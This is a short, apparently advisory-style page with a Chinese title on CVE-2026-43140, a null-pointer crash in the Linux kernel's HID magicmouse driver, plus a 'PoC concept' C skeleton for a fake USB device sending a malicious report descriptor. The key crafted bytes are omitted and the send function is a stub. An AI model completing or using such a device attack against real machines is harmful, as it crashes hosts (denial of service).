CVE-2026-43140 Linux内核Magic Mouse空指针崩溃

/* * PoC Concept for CVE-2026-43140 * This code simulates a malicious USB device descriptor * that triggers the bug in the HID magicmouse driver. * Note: This requires a hardware USB device (e.g., Facedancer) to execute. */ #include <stdint.h> // Malicious Report Descriptor that causes input_mapping to be skipped // or fail to initialize msc->input properly. uint8_t malicious_report_desc[] = { 0x05, 0x01, // Usage Page (Generic Desktop) 0x09, 0x02, // Usage (Mouse) 0xA1, 0x01, // Collection (Application) // ... specific crafted bytes to bypass mapping ... 0xC0 // End Collection }; void setup_fake_magicmouse() { // Send the malicious descriptor to the host usb_send_descriptor(malicious_report_desc, sizeof(malicious_report_desc)); // Wait for the kernel to process and crash while(1); } int main() { setup_fake_magicmouse(); return 0; }